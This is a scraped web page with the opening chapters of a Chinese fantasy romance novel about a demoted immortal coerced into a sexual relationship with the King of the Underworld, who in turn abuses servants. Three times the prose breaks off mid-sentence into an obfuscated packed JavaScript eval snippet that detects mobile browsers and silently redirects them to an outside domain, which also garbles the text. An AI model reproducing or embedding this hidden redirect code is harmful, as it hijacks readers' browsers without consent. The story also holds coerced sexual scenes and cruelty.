《心机小美人将如何上位》 1. 第 1 章 阴界,冥王殿。 殷红阴沉天色下,湿气氤氲的露天浴池内。 冥王正在此沐浴,怀里还抱着一位娇软美人。 小美人不着寸缕,青丝散乱沾了水,贴在粉白的皮肤上。 两颊晕着红,双眸水灵灵的,盛满眼泪。 “殿下……” 咬住嘴唇也压不住喉间的颤动,漱清早已浑身无力,可冥王结实有力的手掌狠狠掐着他的腰,荡起浴水翻涌。 漱清本是一座仙山上的管事小仙。 仙山没有很大,官职就更不算大,但对于他这种出身卑微的小蝴蝶来说,能从妖精修炼成仙,已经是千年难遇的好事。 如果不是被嫉妒蒙蔽双眼,又不走运惹到不该惹的人,他怎么都不会落此下场——被罚至阴界三年,还阴差阳错地成了冥王的房里人——虽说是房里人,却是无名无分,地位连低贱的妾侍都不如。 不该是这样的。 实在不该变成这样。 被冥王抱在怀里,漱清心里惦记着的,还是仙山那位华贵俊美的仙君。 仙君是仙山的主人,亦是他的恩人。 他倾慕仙君已久,如果一切顺利,他本希望能跟仙君成亲…… 但察觉到了他此刻的分心,冥王掐着他的手掌更加用力。 低沉阴森的声音在他耳边响起:“在想什么?是本王没能满足你么,竟还能叫你分了神?” 漱清连连摇头,泪水混着刺激跟屈辱,从眼角滑落:“不是的,我没想什么……” 都是他贪心太过。 当时仗着自己是仙山管事,就想将所有可能威胁到自己的人铲除。 因为仙君对一只触犯了仙规的小兔子多加关注,他就滥用私权,真对小兔子起了杀心。 没承想这只小兔子背后靠山极大。 最后他不仅未能伤到小兔子分毫,还惨遭报复,被打入了冥界,要等三年后方可回去。 刚开始漱清在这里过得很辛苦,但他法力不弱,行事又果断狠辣,不过两个月的时间,便混到了一个小管事的职位。 心急着想要早点出去,又利用职务之便,开始故意在冥王面前露面。 虽说目的就是为了讨冥王欢心,可他想的是也许能得到更高的职位,看在他能力出众的份上,冥王说不定愿意早点放他出去。 最后的结果,却是眼下这般—— 哭都哭不出声,漱清哑着嗓子,崩溃求饶:“殿下饶了我吧,放过我吧……” 终于听到求饶,冥王俊美无双的脸上,可算露出一抹满足的笑意。 经过两月相处,他多少也有些了解了漱清。 一个有些心高气傲的小仙官,因为得罪了大人物,被贬到冥界三年。 法力不弱,办事能力也强。 行事手段……也足够果断狠毒。 可当这么个狠毒的小美人成为自己的掌心玩物,崩溃落泪地朝自己求饶——这画面,实在叫人百看不厌。 若不是到真受不了的地步,漱清绝对不会开口求饶的。 正如冥王所想,他虽然出身卑微,可自认能力不俗,始终有点心气在身上。 成为冥王的玩物已足够让他不齿,难道还真要他心甘情愿吗?这跟人间的娼妓有何区别? 可冥王折磨人的花样层出不穷,他总是挨不到最后。 等冥王终于放过他,漱清趴在浴池的石头上,像块死去的肉,难以动弹。 冥王自顾自走了,走到屏风外,便有数位奴仆伺候着他穿衣。 漱清趴在石头上,看着屏风映出晃动的人影,感觉自己好像一个最低等的用具,用完便被随手一扔。 等到冥王离去,才有人进来伺候他。 有两个下人将漱清扶了起来,为他清洗身体。 起初漱清对此很抗拒,现在却已麻木不仁。疲惫无力地闭上眼,任着奴仆清理。 突然听到了一声嗤笑。 漱清立刻睁开了眼,眸色不是面对冥王时的伏低讨好,全然一片杀意。 “谁笑了?” 他知道,背地里有很多人看不起他。 谁会相信是英勇神武的冥王大人强迫他这么个犯了错的小神仙呢? 所有人无条件偏向是他手段下作,行事卑劣,出卖美色爬了冥王的床。 “小仙大抵是听错了,这里没有人笑。” 其中一个解释着,却跟另一个挤眉弄眼,丝毫不掩饰对他的轻视。 啪—— 掌风呼啸而过,漱清扬起手臂,下一秒,那位奴仆脸上便多了三道血痕。 “我知道你们在想什么。”漱清收回手,语调冰凉,“但怎么都架不住殿下宠我,你们敢再惹我不快,我就让殿下要了你们的命。” 冥王并不宠他。 但也不妨碍他仗着冥王的名声为自己立威。 第二天早上,漱清一身酸痛地醒来。 回想第一次被冥王折腾,他连着好几天下不了床,现在只是身体有些酸痛,已经很好了。 “小仙是否醒了?”门外传来婢女的声音。 漱清:“进来吧。” 到底已经成了冥王的人,漱清理所当然住进了偏殿。 这是除了冥王大人居住的正殿外,环境位置最好的地方。 但真不是冥王有多宠他,只是他在这方面“运气好”。 冥王内院无人,他是第一个搬进来的,占到了先机而已。 何况阴界位于地下,永远暗日无光,天色殷红,再好的风景建筑都带着无法抹去的阴森。 漱清艰难地床上坐起身,婢女便递上了茶盏跟水盆,让他漱口洗脸。 要是能撇开冥王那些折腾他的变态把戏,这种被人伺候的日子还是很舒服的。 婢女小声地说:“小仙,人已经在外面等着了。” 是昨晚嘲笑漱清,然后挨了漱清一巴掌的家伙。 “知道了,叫他等着吧。” “是。” 漱了口洗了脸,婢女又伺候着漱清穿衣,要为他系上一块玉佩时,漱清开口:“这个就不必系了,放下吧,你先出去,在门口等我。” “是。” 婢女立刻放下手里的玉佩,快步出去。 漱清拿起桌上的玉佩,柔软指腹来回细细抚摸。 这是仙君送给他的。 现在想来,竟都是几百年前的事了。 他终于修炼成仙那天,去到仙山的时候,就对仙君一见倾心。 费劲心机,尽了一切努力,终于爬到仙山管事的职位,成为仙君最得力能干的手下。 在他诞辰那日,仙君送了他这个玉佩。 “是蝴蝶的形状,我特意叫人雕刻的,还挺好看吧?” 漱清现在都还记得收到这块玉佩时的欣喜。而他一贯高傲冷清的面容上,难得展现真诚的笑容:“谢谢仙君!” “不必言谢,是我应该做的。”仙君揉揉他脑袋,“你将仙山管理得很好,辛苦了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560087|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他一个无依无靠的小妖精,谁会在乎他的诞辰,又会特意记得这个日子。 他自己都没有任何期待,仙君却为他准备了礼物。 还以为仙君心里也是有他的呢。 谁知半路杀出个碍事的小兔子。 想到这只坏事的小兔子,漱清闭了闭眼,努力缓和自己的情绪。 算了算了。 反正小兔子已经离开仙山,只要等他结束这里的罚期回去,还是有机会争回仙君的。 这次他可不会再顾虑这顾虑那的了,等回去他就要坦白自己的心意。 漱清将玉佩藏进了胸前衣襟,不管在这里遭遇了什么,只要能再回到仙山见到仙君,他都必须撑下去。 睁开眼,短暂的柔情温和从漱清脸上褪去,他又恢复了冰冷的模样,走到门外。 昨夜挨了他打的家伙正跪在地上。 脸上的血痕未消,见到漱清出来,立刻连声求饶:“……小仙,我知错了,我再也不敢了,饶了我吧!” 漱清居高临下地看着他,面对如此卑微的请求,却不见一丝心软。 嘴角扯起一抹冷笑:“我看你倒不像知错了,只是怕了。” “……不是的小仙,我真的知道错了,我再也不敢了,小仙,饶了我吧,我真的再也不敢了……” 漱清充耳不闻,吩咐旁边的人:“按住他,狠狠打。” 实际冥王并没有给漱清教训下人的权利——但漱清钻了空子,毕竟冥王也没说不给。 即便在冥王手里,他像个卑贱的玩物,可怎么都是冥王的人,很多事情他吩咐了,冥王不说不可,底下的人还是会照做。 次数多了,漱清就很清楚该如何狐假虎威,仗着冥王屋里人就他一个,揽过了殿内很多事情。 不是他喜欢做这些事。 而是他喜欢权力。 只有掌握权力,让这里的人对他生出敬畏尊重之心,他才能昂首挺胸地活下去。 是不是玩物有什么要紧。 只要一人之下,万人之上,就没有人能蔑视嘲笑他。 此刻昨晚嘲笑他的家伙被按在地上狠狠抽鞭子,惨叫哀嚎激烈。 ——多好的立威机会,能让其他人都看着,轻视他会是什么下场。 直到惨叫哀嚎变得悄无声息,执棍的人停下了下来:“……小仙,他昏过去了,还要继续吗?” 漱清坐在椅子上,神情淡定地呷了口茶:“泼醒他,继续打。” “可这……” “怎么了?”漱清抬眼,“你不想听我的命令?” “……自然不是。” “那就继续打。”漱清冷冷笑道,“阴界的都是鬼,我知道是打不死的。” “……” 虽然无法打死,可这一鞭鞭下去,打得皮开肉绽,照样会受伤会痛苦。 “……是。” 看来冥王这位妾侍虽身是仙职,但狠心手辣完全不输阴界恶鬼。 一直打到在场的下人都面露惧色,漱清见达到自己想要的结果了,才终于开口喊停。 而这套杀鸡儆猴的戏码很快传了出去,接下去一整天,不管漱清走到哪里,旁人对待他都小心翼翼。 但当晚,冥王派人来请他过去。 漱清心中一惊,因为往日冥王不会连着两日找他,中间至少给他一天休息的时间。 不过也猜到了,想必是听说了他早上的行为,漱清对此已有准备,还算镇定地过去了。 2. 第 2 章 冥王正在书房,门口的下人通报后,漱清走了进去。 漱清低着头,做出乖巧温顺的模样,缓缓往前走了几步。 “殿下。” 面对冥王,打是打不过,骂也不敢骂,又害怕对方折磨的手段。 漱清心里再多不情愿,也只能伪装起来。 偷偷看了冥王一眼,对方正放下笔,也抬起头来。 五官俊美而冷冽凌厉,自带令人胆寒的强大气势。 对视不过一眼,漱清又迅速低下了头。 攥着衣摆的手捏成拳头,漱清心里突然就想:真没办法弄死这个家伙吗?能把他毒死吗? “过来。”冥王开了口。 “是。” 但开口回答,漱清语调很柔和,哪里还有白天一点仗势欺人的模样,在冥王面前要多顺从就有多顺从。 只是脚步更加缓慢,一点点挪动到了冥王案前。 漱清没抬头,好似听到了冥王低声的嗤笑,带着十足的玩味儿。 终于到了跟前,冥王什么都没提,而是直白地要求他:“坐上去。” “……” 漱清看了冥王的桌子一眼,顿时头皮发麻。 什么意思不言而喻。 可他不想在这种地方。 “殿下……” 漱清放软语调,试图求饶。 “嗯?” “……” 可短促的一声,凌厉阴暗的眼神,足够彰显冥王不容抵抗的权威。 漱清知道求饶无用了,闭上嘴,乖乖坐到了桌上。 冥王满意哼笑:“好乖。” 漱清咬着牙,没敢将头抬起来。 冥王听上去语气温和了些,可吐出来的文字仍很冰冷绝情:“把衣服脱了。” “……” 漱清闭了闭眼。 虽然早猜到了冥王的意图,也知道求饶无用,可等亲耳听到这种要求,心头还是一滞。 不敢反抗冥王的要求,因为结果只是跟自己过不去。 可手指放在了腰带上,迟迟没有下一步。 冥王等了一会儿,看出他的犹豫不愿,冷笑道:“怎么,你不打算听我的?” “……” 如果有的选,漱清当然不愿意。 可在整个冥界,冥王就是决定一切生死的存在。 不管他是否同意,最后也只有一个选项。 因此漱清没有回答,只是这么低着头,咬着牙,像是下定某种决心,狠狠解开了衣服。 里面的衬衣轻薄,随着外衣的滑落,也跟着散开,皮肤暴露在空气中。 昏暗光线下,漱清眉头微蹙,神情隐忍,映着身上还很新鲜的青紫痕迹,倒有种说不出的苍白破碎感。 漱清内心当然不甘屈辱。 可再不甘又怎么样,更龌龊更下贱的事情都已经做尽。 对眼前的冥王而言,他只是一个物件,一件器具,一个发泄的对象罢了。 修长纤细的手指缓缓抚上冥王的手臂,其实他很懂该用哪套应对冥王,小声地问:“殿下,想要我怎么做……” 看到他的乖巧顺从,冥王的脸色好了些,反手捏住他的手掌,沉声道:“听说你今日在殿内很威风?” “……” 漱清就知道他会说这件事。 但没什么不能承认的,他做这件事时,就做好了这样的准备。 因此丝毫不慌,慢慢说道:“我恃宠而骄,天性刻薄,殿下是知道的。” 冥王轻笑了一下,似乎也没料到他会这么干脆的承认,毫无悔意。 “殿内是禁止动用私刑的,难道你不知?” “我倒是想偏袒你,但如今有人告到了我面前,我要是还不处罚你,岂不是有失公平?” 漱清内心冷笑,公平? 上至仙界,下至冥府,微不足道的蝼蚁跟主宰生死的王,什么之间能有真正的公平? 可他也没错过这句话的重点。 有人告状。 他知道这件事肯定会传到冥王耳朵里,但不经意间的听闻得知,跟有人的蓄意告状,这两者之间的区别就很大了。 要让他知道告状的是谁,他肯定把对方的皮都扒了。 “怎么,今天教训了一个还不够,听到有人告状,还想把另一个也打一顿?” 冥王一眼看透漱清的小心思,并且毫不留情地戳破:“不许你再滥用私刑。” 漱清不言语。 如果这件事真很严重,冥王会用这种方式教训他? “那殿下,准备怎么惩罚我?” 让他来书房,坐在桌上,又脱了衣服,无非就是希望他用身体伺候。 即便没有这件事,他不也这样服侍吗? “你爱逞威风,恃宠而骄,那你应该也知道,是谁让你有这样的威风,又是谁给了你这份宠爱。” 冥王笑着,伸手取过一支干净的毛笔,在指尖把玩转动。 “只要你讨好我,我可以给你更多的威风跟宠爱。” 漱清面色一惊,还没来得及反应,湿润柔软的笔尖便带着凉意扫过身上。 没忍住惊呼出声:“……殿下!” 说不出的微妙怪异感,轻柔却又很刺激,似乎每一根触须的触感都能被皮肤精准捕捉到。 只是漱清坐在桌上,后背空荡无依靠,想要支撑非常辛苦。 明白冥王的意图后,只能扮委屈装可怜,抬眼看向冥王,委屈兮兮地说:“殿下,我撑不住的……我们还是回寝殿吧。” “那就想办法撑住。”冥王却无情地说,“要是让你太好过,那还能算惩罚吗?” 冥王不肯放下毛笔,漱清瞬间浑身激灵,手腕一抖,身体失去支撑,猛地往后倒去,书桌上的东西叮咚噼啪散落在地。 “瞧瞧你,笨手笨脚,还弄乱了本王的书桌,砸坏了东西,现在罪加一等,接下去该怎么惩罚你才好?” 漱清撑起上半身,没有对抗的实力,始终将姿态放得很低:“……殿下,一定要罚我吗?不能原谅我吗?” 冥王伸手捏过他的下巴,笑道:“可你连句好听的话都不会说,让本王怎么原谅你?” 漱清停顿片刻,随后用双手握住了冥王的手掌。 看似卑微乖巧地求饶,实则带着胆大妄为的试探。 他直视冥王,眼眸里闪着微微的水光:“……夫君,求你原谅我。” 没承想下一秒,双手就被毫不留情地甩开,接着又被冥王捏住肩膀,重新按回了桌面。 咚—— 脑袋撞了个大响,疼痛夹杂着一片晕天旋地。 漱清感觉自己要昏过去了。 而冥王眼眸猩红凶狠,阴恻恻地嘲讽道:“凭你也配叫我夫君?” 漱清心脏狂跳,这一刻被突如其来的恐惧包裹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560088|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,身上的男人只带给他阴晴不定的暴力跟野蛮,求生的本能让他用力逃脱挣扎。 奈何彼此之间的力量太过悬殊,冥王捏死他就跟捏死一只蚂蚁一样容易。 “……唔!” 这是漱清最错误的决定。 不知这声称呼哪里惹怒了冥王,以至于他瞬间没了所有耐心,脾气暴躁到了极点。 冥王毫无怜香惜玉的意思,再下一秒,直接狠狠将他钉在这张桌上。 桌上的东西几乎全部扫落在地。 也不知是谁先沾上了墨汁,最后将两人都弄脏,空气里漫开淡淡的墨味。 漱清开始讨厌这个味道了。 以后不管在哪,只要闻到这个味道,他都会想起这晚。 开始漱清还会求饶,但到后来,他闭了声,只是睁着双眼淌泪。 双目失神,视线涣散,自己也不知视线到底落在哪里。 好像不去看身上的冥王,将视线看向远处,就可以透过永不见日光的冥界,回到万里之外的仙山上,回到仙君的身边。 仙君。仙君。 可是仙君也救不了他。 想到仙君,漱清内心的屈辱感更深了,下意识咬紧嘴唇,不愿从齿间漏出多余声响。 …… 等到再睁眼,已是翌日午后。 漱清醒来时难得迷糊,大脑空白糊涂,连视线也模糊不清。 等到理智恢复,视线清晰,才发现自己是睡在冥王的床上。 正殿之内,冥王的寝间。 整个冥界内,最尊贵无比的冥王殿下,他睡的床上。 ……是在做梦吗? 能让他住进偏殿,已经算很抬举他了。 昨晚又是那么一出,他还以为自己惹得冥王很生气,结果冥王反而把他抱到自己的床上了? “小仙是否醒了,需要起来吗?” 屏风之外,侍女的声音响起。 漱清眨眨眼,确定这不是梦。 “……冥王殿下呢?” “殿下离开已有四五个时辰,不过他临走前特别嘱咐了下人,不用打扰小仙睡觉,让小仙自行醒来。” “……” 真奇怪,这是在玩什么花招。 “……我怎么会在这里?” “自然是冥王殿下抱小仙过来的。” 所以昨晚那么生气地折腾他,最后却亲自将他从书房抱到了正殿寝内? 这哪里像是惩罚了。 在下人眼里,这怎么都是更多的偏袒跟宠爱。 等等。 既然这样,昨天向冥王告状的贱人一定很生气。 想到这点,漱清的嘴角可算有了丝笑意。 至少在外人眼里,冥王不仅没有责罚他动用私刑处罚下人,反而对他更加宠幸。 虽然转念再想,这也容易招致更深的嫉妒跟仇恨。 漱清冷哼,他说呢,冥王怎么会这么轻易放过他,原来还是在这里设了套。 漱清想了想:“……偏殿内有一个叫小祺的小厮,我有事找他,你去把他叫来。” “是。” 对于告密者,漱清早有了猜测。 他在冥界待过这么久,为了往上爬,底下差使之间的复杂关系早就摸得一清二楚,甚至比冥王都更清楚哪些职位上是哪些人。 冥王是说了不能再用私刑,但那又怎么样,反正他没打算听话。 3. 第 3 章 叫小祺的小厮很快就过来了,侍女进来回话,没有漱清的允许,对方不能贸然进入冥王寝殿。 漱清没着急起来:“知道了,让他先在外面跪着,我等会儿就见他。” “是。” 有意折磨对方不假,但漱清不舒服也是真的,浑身懒洋洋的,手脚没力,脑袋发晕,胸口还有点闷。 连着两天被冥王往死里折腾,他真是受不起。 本想只稍微眯一会儿,缓过来了就去给对方好看,结果眼睛闭上,就睡过去一个时辰。 醒来后,不适感压下了些,漱清终于起床,让侍女为自己梳洗换衣。 虽然冥王粗暴残忍,床笫之间很难愉快,可好在有大方这个优点,先后给过漱清不少奇珍异宝,绫罗绸缎。 在仙山倒穿不上这么好的衣服。 漱清喜欢这些名贵的东西,每天很愿意花时间在这些事情上,将自己打扮得漂漂亮亮。 只是以前没那么多空闲时间,也没穿过这么好的衣服。 不过这些都是他应得的。 毕竟冥王折腾他的时候从没想过客气。 换好衣服,看着铜镜里的自己华丽鲜艳,漱清心情才好了些。 走到外间,准备吃点东西。 “叫他进来跪着吧。” “……是。” 隔着一扇屏风,叫小祺的小厮连滚带爬地从门外进来,浑身发抖地跪好了。 漱清瞥一眼,笑了。 自己还什么都没做呢。 抬眼看向殿外,门正开着,此时也没用帘子遮挡。 但因为角度关系,漱清不能看很清楚,只能看到门外站岗的护卫之中,其中一位影子晃荡。 “小、小、小仙……不知小仙唤我过来,是有何事吩咐?” 漱清淡淡道:“我允许你开口了吗?” “……” 对方的身体立即抖得更加厉害了。 “你在质问我吗,怎么,要没事吩咐,我就不能让你过来了?” “……不敢、小的不敢!” 漱清不说话了,准备先吃点东西,不过实在没什么胃口,吃得很慢很久,到最后也没吃多少。 而且起来坐了会儿后,头又开始晕了,身体本就酸疼难受,胸口更不舒服,只想躺下,一点不愿动弹。 漱清移步到侧间,在贵妃榻上躺下。 叫小祺的小厮便跪在地上,一步步用膝盖挪了过来。 整个身体伏在地上,颤抖不止,看上去卑微弱小,十分可怜。 漱清撑开一丝眼皮,看了看对方:“瞧你这模样,不知道的,还以为我怎么惩罚你了。” “……” 对方将脑袋埋得更低,才刚被训过,没有漱清的允许,不敢开口。 “原来你是这么胆小的么?”漱清冷笑,“都能想方设法去冥王面前告状了,我还以为你至少会有点骨气,腰杆子没这么软呢。” “…………” “你说,我是砍掉你的双腿好,还是干脆缝起你的嘴好?” 对方再忍不住,跪在地上,磕头哭喊求饶:“……我知道错了,我再也不敢了,小仙饶命,绕过我吧,我真的再也不敢了。” 哭喊声凄厉,没亲眼见到里面场景的,大概会以为漱清又开始动用私刑,将他怎么殴打了。 殿外一圈都站着护卫,此时漱清听到窗外传来走动的声响,有道身影隐约投射进来,在墙面上晃动。 漱清的视线回到小厮身上:“别哭了,你哭得再大声,他都不会进来救你的。” 小厮顿了顿,哭声戛然而止。 “我知道,你跟昨天被我惩罚的那家伙关系不错,但凭你的职位,又怎么可能告到冥王面前去呢。” “……” 刚被发配到这边时,漱清算是带罪之身,地位极低,只配做点打杂的脏活累活。 但即便如此,他还是在短短一年之内就爬到了冥王身边,实力野心都不容小觑。 掌握这里的人际关系对他而言是最基础的一项,也是十分必要的部分。 虽然最近一直待在冥王身边,但该观察洞悉的事情,他一样都没落下。 眼前这个小厮,跟他昨天惩罚的家伙私下关系亲近,同时又与殿内护卫有着暂时还不明确的暧/.昧关系。 否则单凭他的职位,一个偏殿的小厮,平时连冥王的面都不常见到,怎么有本事告到冥王跟前去? 但护卫不同。 护卫地位更高,能近冥王身侧,平时又是流通移动的。 如果漱清没猜错,此刻站在窗外的护卫,昨天是在冥王书房当值。 小厮气不过好友被欺负,跑去向护卫抱怨吐苦水,护卫又正需要机会在小厮面前表现自己,便壮着胆子向冥王告了状。 一个无名无分的低贱男妾,在殿内如此作威作福,冥王大人怎么可能不管呢? 冥王大人确实管了。 昨晚将漱清折磨得够呛,还下了命令不准他再动用私刑。 可惜他们遇上的是漱清。 要不清楚这些小人物间的关系,等漱清反应过来,大概也需要好几天。 但漱清太清楚了。 “是他害了你。” “……” “如果他没有向冥王告状,我便不会知道,你就不用受罚。” “结果他逞了英雄,你在这里跪着,他怎么不敢进来救你呢?” “……” “你在外面跪着的时候,我猜猜,他敢让你起来吗?是不是跟你说句话,也要偷偷摸摸的?” “现在你落我手上了,他有办法吗?”漱清冷冰冰地说,“其实也有办法,如果他愿意不管不顾地冲进来,倒也能护下你……只是真这样的话,他很清楚,我就会连他一起处罚了。” 漱清暂时动不了护卫,明面上没有冲突,告密也没确凿证据,只凭猜测,他能发难的暂且只有小厮。 可护卫要真敢冲进来,那借口就随漱清拿捏了。 “……” “看来他也没那么喜欢你,连陪你一起受罚都不肯。” 刚刚小厮还跪在地上颤抖不止,听完漱清的话后,顷刻间如冰冻般僵直,面色更是整片苍白颓败。 漱清心情更好了些,身体的不适下去不少,嘴角都有了笑意。 “这样,我们来玩个游戏吧。” 漱清坐起身,笑呵呵地说道:“一炷香的时间,他要是敢进来救你,这件事我便不计较了,连同昨天那个家伙,我一起不追究了。” “但要是他没进来——” 漱清看了旁边的侍女一眼,后者迅速将准备好的一碗水端过来。 “你就把这碗水喝了。” “……” 谁敢喝呢。 谁知道水里加了什么,喝了又会变成什么样。 但小厮没有拒绝的选择,只能任着一炷香点起,又任着这炷香燃尽。 等待的每分每秒都煎熬,心跳七上八下,无比盼望会有奇迹的发生。 “好可惜啊,香燃尽了,你都进来这么久了,他还是没敢进来。” 但最后,希望还是落空。 小厮跪在冰凉的地面上,看着漱清摆摆手,接着他身侧的侍女便将水端上来。 “喝吧。” 求生本能激发了一定程度的反抗,小厮试图起身逃跑:“……不,不,我不喝,我不喝!我不要喝!” 然而肩膀先一步被其他侍从按住,其中一人捏住他的下巴,将整碗水灌进了他的嘴里。 “唔……呜呜,唔……不,咳咳咳……” 再用力反抗都没用,大部分还是被他咽下,冰凉的水融入身体。 “好喝吗?” 漱清侧卧在贵妃榻上,面容昳丽,华服仙美。 “甜甜的,应该很好喝吧?” …… 等冥王回到寝殿,已是深夜。 里面只点着一根蜡烛,光线昏暗沉沉,空洞寂静。 冥王刚踏进殿内,侍女便小声行礼禀告:“殿下,小仙已经睡下了。” 冥王哼笑。 这只小蝴蝶,真是比他想象中还大胆。 昨晚将他折腾得不轻,羞辱惩罚的意味够重了,他猜想小蝴蝶是不敢留在这边过夜的,没想到此刻竟是堂而皇之躺在自己床上。 真是敢抱他去哪里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15560089|171376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他就敢在哪里躺下。 冥王绕进屏风内,先去看了看这大胆妄为的小东西。 睡得还很熟。 对于自己的到来毫无察觉。 被子没盖平整,淡紫色的里衣肩头歪斜。 睡没睡相。 起初冥王不知道,以为这是小蝴蝶的勾引手段。 后来才明白,小蝴蝶只是爱漂亮爱打扮,所以穿的里衣都要跟别人不同。 他很能看穿漱清的性格。 一个爱耍点花招的小玩意儿,就算修到了神仙的身份,本质还是难上台面的小妖精。 性格冷情刻薄,虚荣好强,有点心机手段,爱弄权爱逞威风。 但算懂得把握机会,为了心中目标,能抓住一切机会往上爬。 他不该对一个这样卑鄙的小妖精另眼相待。 可说不出原因,冥王就是突然变得很吃这套。 就是喜欢这个小蝴蝶,喜欢他要强的性子,喜欢欺负他,喜欢他在外人面前狐假虎威,又在自己面前乖巧顺从。 那就当个小宠物饲养逗弄,用来打发时间吧。 给予他宠爱,给予他体面,又能肆意作践,随便将他玩弄。 看他能恃宠而骄到什么份上。 最后又会以何种方式作茧自缚。 他掌管万物生死,小蝴蝶不过也是他的掌心之物,合掌就能拍死捏死的存在罢了。 看过了漱清,冥王又走到外面,让侍女为他宽衣解带。 “今天怎么样?” 侍女恭敬回答:“小仙今日睡到午后方醒,看着神色倦倦,胃口也不大好,没吃太多东西,醒来不过一两时辰,又睡下了。” 侍女将今天殿内的事情都说了。 边说边紧张。 生怕自己也成了告状,会被漱清处罚,可冥王交代过询问的事,她不敢不答。 但冥王已经听说了,轻笑着:“精神不好还这么威风?” 昨晚才说了不准再动用私刑。 当时那样害怕可怜,泪水涟涟,仿佛受了多大委屈。 睡醒就忘光不管了。 精神不好也不忘找人算账,真不知他精神好点该做什么了。 “没叫大夫来瞧?” “……问了,小仙不肯。”侍女回道,“再多问一遍,小仙就发火了,问是不是存了咒他的心思。” 这回是真告状了。 冥王笑了,换好衣服,摆摆手:“我知道了,下去吧。” “是。” 侍女退下,昏暗的房间内重归寂静无声。 冥王走到床前。 看着依旧沉睡,连姿势都没变化的小蝴蝶,不知怎么的,耳边突然回响起昨晚那声“夫君”。 真是胆大包天。 竟然都敢来试探他的底线。 昨晚冥王深感不屑,下了蛮力粗鲁,此刻竟莫名觉得多了几分有趣? ……还有点,想再听一回了? 床边坐下一个人,声响动静还是惊醒了漱清。 身体是真不舒服,心里更有对冥王的怨气,这一刻漱清懒得再伪装什么,只转了个身,假装自己没醒,继续睡去。 但气息变化暴露了他的状态,这点小动静没逃过冥王的耳朵。 “还装睡?” 冥王也没想到他是这种反应。 “你胆子倒大,昨晚才跟你说的,不准再动用私刑,连我的话都不听了?” 漱清没动,但有了回应:“……我何时动用私刑了,又用什么私刑了?” 冥王冷哼:“不是你将告密者罚了一顿?” “殿下可别冤枉我,我罚的是偏殿小厮,对方私下嘲笑编排我,我也只是让他跪了跪,这也算动用私刑?” “……” 冥王一顿,还真无从反驳。 漱清没猜错,真正的告密者并不是小厮,而是护卫。 罚跪又算什么私刑。 只是跪的时间稍微久了些。 “那你给他灌的是什么东西?” “糖水啊。”漱清道,“跪了这么久,给他补补水……怎么,难道喂口水也算私刑吗?” “……” 4. 第 4 章 漱清是对冥王心怀怨气,一点不想听他的话,但漱清更不想给自己惹麻烦。 昨晚冥王才教训过他,漱清再缺心眼都不会第二天就给出可以借题发挥的机会。 所以即便今天的手段不够解气,但也算是能力范围内,最完美的一招了。 离间了两个告密者的关系,先惩罚了其中一个。 没让冥王抓到他的任何错处。 还能震慑其他所有人,得罪他不会有好下场。 谁会相信他喂的是普通糖水呢? 就连亲手调制这碗糖水的侍女都不信,怀疑他在神不知鬼不觉中下了药。 可他喂的就是普通糖水。 此时此刻,这点更让试图质问他的冥王吃瘪。 哪怕身体很疲惫,眼睛始终闭着没有睁开,漱清的嘴角还是忍不住上扬。 冥王也从没见过他这样的小蝴蝶。 害怕的时候不像演的。 嚣张的时候也是真很嚣张,什么都不怕,先狂了再说。 还想再问下去,结果小蝴蝶平缓均匀的呼吸声传出——这回是真睡过去了。 睡得还挺安心? 冥王直接气笑了。 …… 第二天,漱清依旧起很晚。 他睡了很久很久,又是快到中午了才醒。 虽然讨厌冥王,但冥王的床铺又大又软,是他睡过最舒服的地方。 反正没有非起不可的事情,也没人来叫他起床,而任意妄为,恃宠而骄又是恶毒妾侍的专属本分。 况且他变成这样,冥王得负全部责任。 所以漱清睡得理所当然,睡到舒服的自然醒。 “嘶……” 就是肚子还疼。 漱清起来时没留意,猛地扯到这块,肚子立刻开始作疼。 但好在脑袋不晕了,精神也比昨天好很多。 外面的侍女听到动静,小声询问:“小仙是否醒了?可要梳洗进膳?” “嗯,进来吧。” 漱清应了。 昨天连屋子大门都没出,今天不想再关着自己了,他决定出去透透气。 侍女伺候着他换衣洗漱。 漱清选了套浅绿色的衣服,又挑了不少华丽首饰,将自己打扮得华贵漂亮。 他确实有副好皮囊。 侍女深知他狭隘恶毒,却还是不自觉被他的外貌迷惑,忍不住多看了几眼。 漱清瞥了一眼:“你看什么?” 侍女连忙回神,张口就来:“小仙天人之姿,实在,耀眼夺目……” 漱清笑了笑,不管是真是假,对方是否诚心,他对这些赞美都很受用。 “是吗?” “……是。” “昨天的糖水,是你告诉冥王殿下的?” “……” 结果话锋说转就转,突然变成质问,吓得侍女连忙跪下。 “小仙恕罪,小仙饶命……是殿下问话,奴婢实在难以违背,不敢不答……” 经过他这几回心狠手辣的整顿,如今恶名该更响亮了。 